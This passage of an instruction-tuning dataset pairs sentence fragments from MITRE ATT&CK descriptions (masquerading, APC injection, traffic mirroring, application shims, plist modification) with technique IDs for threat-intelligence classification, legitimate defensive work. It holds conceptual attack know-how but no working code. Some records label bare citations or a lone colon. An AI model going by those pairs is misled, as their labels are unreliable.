further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: FireEye POSHSPY April 2017)(Citation: ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ESET Sednit 2017 Activity)", "output": "T1568", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ESET Sednit 2017 Activity) ### Response: T1568."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site) ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections.", "output": "T1036", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Masquerading may also include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. ### Response: T1036."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign.", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name.", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many benign tasks and services exist that have commonly associated names.", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many benign tasks and services exist that have commonly associated names. ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may give tasks or services names that are similar or identical to those of legitimate ones. ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation:", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Fysbis Dr Web Analysis)", "output": "T1036.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Fysbis Dr Web Analysis) ### Response: T1036.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are many different ways to inject code into a process, many of which abuse legitimate functionalities.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are many different ways to inject code into a process, many of which abuse legitimate functionalities. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These implementations exist for every major OS but are typically platform specific.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These implementations exist for every major OS but are typically platform specific. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.", "output": "T1055", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. ### Response: T1055."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APC injection is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APC injection is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APC injection is commonly performed by attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC)", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Queued APC functions are executed when the thread enters an alterable state.(Citation: Microsoft APC) ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A handle to an existing victim process is first created with native Windows API calls such as <code>OpenThread</code>. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL).", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: At this point <code>QueueUserAPC</code> can be used to invoke a function (such as <code>LoadLibrayA</code> pointing to a malicious DLL). ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A variation of APC injection, dubbed \"Early Bird injection\", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: CyberBit Early Bird Apr 2018)", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: CyberBit Early Bird Apr 2018) ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table.(Citation ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": ":", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: : ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Atom Table)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution via APC injection may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection.", "output": "T1020", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exfiltrate data, such as sensitive documents, through the use of automated processing after being gathered during Collection. ### Response: T1020."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).", "output": "T1020", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over C2 Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). ### Response: T1020."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage traffic mirroring in order to automate data exfiltration over compromised infrastructure. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Traffic mirroring is a native feature for some devices, often used for network analysis.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Traffic mirroring is a native feature for some devices, often used for network analysis. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, devices may be configured to forward network traffic to one or more destinations for analysis by a network analyzer or other monitoring device. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring)", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Cisco Traffic Mirroring)(Citation: Juniper Traffic Mirroring) ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse traffic mirroring to mirror or redirect network traffic through other infrastructure they control. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malicious modifications to network devices to enable traffic redirection may be possible through [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) or [Patch System Image](https://attack.mitre.org/techniques/T1601/001).(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many cloud-based environments also support traffic mirroring.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many cloud-based environments also support traffic mirroring. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP)", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040),", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use traffic duplication in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040), ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary.", "output": "T1020.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Input Capture](https://attack.mitre.org/techniques/T1056), or [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) depending on the goals and objectives of the adversary. ### Response: T1020.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS.", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb).", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS.", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n*", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "<code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim.", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: <code>%WINDIR%\\AppPatch\\sysmain.sdb</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb</code>\n\nCustom databases are stored in:\n\n* <code>%WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom</code>\n* <code>hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom</code>\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress).", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "output": "T1138", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc. ### Response: T1138."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses.", "output": "T1647", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may modify property list files (plist files) to enable other malicious activity, while also potentially evading and bypassing system defenses. ### Response: T1647."}{"instruction": "List the MITRE techniques contained in the text.", "input": "macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime.", "output": "T1647", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS applications use plist files, such as the <code>info.plist</code> file, to store properties and configuration settings that inform the operating system how to handle the application at runtime. ### Response: T1647."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD.", "output": "T1647", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Plist files are structured metadata in key-value pairs formatted in XML based on Apple's Core Foundation DTD. ### Response: T1647."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Plist files can be saved in text or binary format.(Citation: fileinfo plist file description)", "output": "T1647", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Plist files can be saved in text or binary format.(Citation: fileinfo plist file description) ### Response: T1647."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)).", "output": "T1647", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can modify key-value pairs in plist files to influence system behaviors, such as hiding the execution of an application (i.e. [Hidden Window](https://attack.mitre.org/techniques/T1564/003)) or running additional commands for persistence (ex: [Launch Agent](https://attack.mitre.org/techniques/T1543/001)/[Launch Daemon](https://attack.mitre.org/techniques/T1543/004) or [Re-opened Applications](https://attack.mitre.org/techniques/T1547/007)). ### Response: T1647."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock.", "output": "T1647", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries can add a malicious application path to the `~/Library/Preferences/com.apple.dock.plist` file, which controls apps that appear in the Dock. ### Response: T1647."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also modify the <code>LSUIElement</code> key in an application\u2019s <code>info.plist</code> file  to run the app in the background.", "output": "T1647", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also modify the <code>LSUIElement</code> key in an application\u2019s <code>info.plist</code> file  to run the app in the background. ### Response: T1647."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback)", "output": "T1647", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can also insert key-value pairs to insert environment variables, such as <code>LSEnvironment</code>, to enable persistence via [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006).(Citation: wardle chp2 persistence)(Citation: eset_osx_flashback) ### Response: T1647."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cloud environments may also support various functions and services that monitor and can be invoked in response to specific cloud events.(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation:", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Backdooring an AWS account)(Citation: Varonis Power Automate Data Exfiltration)(Citation: ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft DART Case Report 001)", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft DART Case Report 001) ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code.", "output": "T1546", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. ### Response: T1546."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After gaining access to a 